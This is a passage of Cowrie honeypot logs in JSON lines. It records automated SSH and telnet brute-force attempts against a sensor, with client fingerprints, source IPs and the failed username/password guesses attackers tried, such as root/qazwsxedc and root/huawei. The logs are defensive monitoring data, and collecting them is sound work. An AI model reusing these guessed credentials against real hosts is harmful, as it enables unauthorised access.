{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:78:22:ca:d8:9f:6f:ea:68:0e:4d:d6:3f:2b:7a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rGU09HkHOj2iYLKuPrODG/hS6ctOBM/PgqQmmhzQY/CpJpA1+OVzdkNVX7LU4HiGwrsad3H3b+TLO7VO4R232d7u3q5sVxRr2o7zs8bW1wPukvwINZeXvMNbJRCIH7DkriGWw6v/oSfFduFvM4LAUFFafj74VMDbLyLMRWkJIIfZtAhfMZ6GjaGSKmqzJNJ6lBbKoeCvslIzCiyslEA9LeFEgfUvnDmjsC7jVxeBoWkV0nZ1E8z7xQPH/IdMSitBrQ9XoAURvBGK3nG/EG2Ua1UILqrdOh7P1ydbhW4LOhAhfijj/w99rGDigMQd9E/cI5cMba/fWvcp+Ojbl+CJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:78:22:ca:d8:9f:6f:ea:68:0e:4d:d6:3f:2b:7a:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.614715Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:78:22:ca:d8:9f:6f:ea:68:0e:4d:d6:3f:2b:7a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rGU09HkHOj2iYLKuPrODG/hS6ctOBM/PgqQmmhzQY/CpJpA1+OVzdkNVX7LU4HiGwrsad3H3b+TLO7VO4R232d7u3q5sVxRr2o7zs8bW1wPukvwINZeXvMNbJRCIH7DkriGWw6v/oSfFduFvM4LAUFFafj74VMDbLyLMRWkJIIfZtAhfMZ6GjaGSKmqzJNJ6lBbKoeCvslIzCiyslEA9LeFEgfUvnDmjsC7jVxeBoWkV0nZ1E8z7xQPH/IdMSitBrQ9XoAURvBGK3nG/EG2Ua1UILqrdOh7P1ydbhW4LOhAhfijj/w99rGDigMQd9E/cI5cMba/fWvcp+Ojbl+CJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.618008Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.869514Z","src_ip":"103.185.53.93","session":"89cd6152bbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.930280923843384,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.879484Z","src_ip":"152.42.224.71","session":"5fe450532fc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.22750210762024,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:44.994775Z","src_ip":"152.42.224.71","session":"e21c46c41832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58606,"dst_ip":"159.203.135.109","dst_port":22,"session":"67feaa9aaccb","protocol":"ssh","message":"New connection: 45.156.87.204:58606 (159.203.135.109:22) [session: 67feaa9aaccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.222041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.227137Z","src_ip":"45.156.87.204","session":"67feaa9aaccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.309963Z","src_ip":"45.156.87.204","session":"67feaa9aaccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.557586Z","src_ip":"45.156.87.204","session":"67feaa9aaccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":42476,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbbd926c10f","protocol":"ssh","message":"New connection: 45.183.70.66:42476 (159.203.135.109:22) [session: 6cbbd926c10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.653220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.658318Z","src_ip":"45.183.70.66","session":"6cbbd926c10f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:45.774472Z","src_ip":"45.183.70.66","session":"6cbbd926c10f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:46.271176Z","src_ip":"45.183.70.66","session":"6cbbd926c10f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:46.641881Z","src_ip":"45.156.87.204","session":"67feaa9aaccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:47.391291Z","src_ip":"45.183.70.66","session":"6cbbd926c10f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58614,"dst_ip":"159.203.135.109","dst_port":22,"session":"a394c6a17c3f","protocol":"ssh","message":"New connection: 45.156.87.204:58614 (159.203.135.109:22) [session: a394c6a17c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:48.619984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:48.624222Z","src_ip":"45.156.87.204","session":"a394c6a17c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:48.767022Z","src_ip":"45.156.87.204","session":"a394c6a17c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:49.223623Z","src_ip":"45.156.87.204","session":"a394c6a17c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60204,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c5fb8c4991","protocol":"telnet","message":"New connection: 152.42.224.71:60204 (10.17.0.5:23) [session: 30c5fb8c4991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:49.905620Z"}
{"eventid":"cowrie.session.closed","duration":35.33992838859558,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:50.141629Z","src_ip":"152.42.224.71","session":"b359161a9e61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:50.307030Z","src_ip":"45.156.87.204","session":"a394c6a17c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60206,"dst_ip":"10.17.0.5","dst_port":23,"session":"964dfbd68e73","protocol":"telnet","message":"New connection: 152.42.224.71:60206 (10.17.0.5:23) [session: 964dfbd68e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:52.348437Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58628,"dst_ip":"159.203.135.109","dst_port":22,"session":"439bfd7e1921","protocol":"ssh","message":"New connection: 45.156.87.204:58628 (159.203.135.109:22) [session: 439bfd7e1921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:52.359987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:52.364273Z","src_ip":"45.156.87.204","session":"439bfd7e1921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:52.446381Z","src_ip":"45.156.87.204","session":"439bfd7e1921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:52.692422Z","src_ip":"45.156.87.204","session":"439bfd7e1921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:53.778483Z","src_ip":"45.156.87.204","session":"439bfd7e1921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36702,"dst_ip":"159.203.135.109","dst_port":22,"session":"5504521da67e","protocol":"ssh","message":"New connection: 45.156.87.204:36702 (159.203.135.109:22) [session: 5504521da67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:55.852108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:55.857139Z","src_ip":"45.156.87.204","session":"5504521da67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:55.939147Z","src_ip":"45.156.87.204","session":"5504521da67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:56.187451Z","src_ip":"45.156.87.204","session":"5504521da67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:57.272779Z","src_ip":"45.156.87.204","session":"5504521da67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06025004386902,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:58.180108Z","src_ip":"152.42.224.71","session":"f94e5e9e96a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36718,"dst_ip":"159.203.135.109","dst_port":22,"session":"b97c68dd52f9","protocol":"ssh","message":"New connection: 45.156.87.204:36718 (159.203.135.109:22) [session: b97c68dd52f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:59.275362Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36936,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7781b9ae73f","protocol":"telnet","message":"New connection: 152.42.224.71:36936 (10.17.0.5:23) [session: b7781b9ae73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:59.348945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:59.385735Z","src_ip":"45.156.87.204","session":"b97c68dd52f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:59.401675Z","src_ip":"45.156.87.204","session":"b97c68dd52f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:43:59.813721Z","src_ip":"45.156.87.204","session":"b97c68dd52f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":36266,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d1b7730d02","protocol":"ssh","message":"New connection: 103.183.114.55:36266 (10.17.0.5:22) [session: 02d1b7730d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:00.296966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:00.302417Z","src_ip":"103.183.114.55","session":"02d1b7730d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:00.526117Z","src_ip":"103.183.114.55","session":"02d1b7730d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:00.899159Z","src_ip":"45.156.87.204","session":"b97c68dd52f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina123","message":"login attempt [root/marina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:01.196496Z","src_ip":"103.183.114.55","session":"02d1b7730d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36940,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca035fd1529a","protocol":"telnet","message":"New connection: 152.42.224.71:36940 (10.17.0.5:23) [session: ca035fd1529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:01.897384Z"}
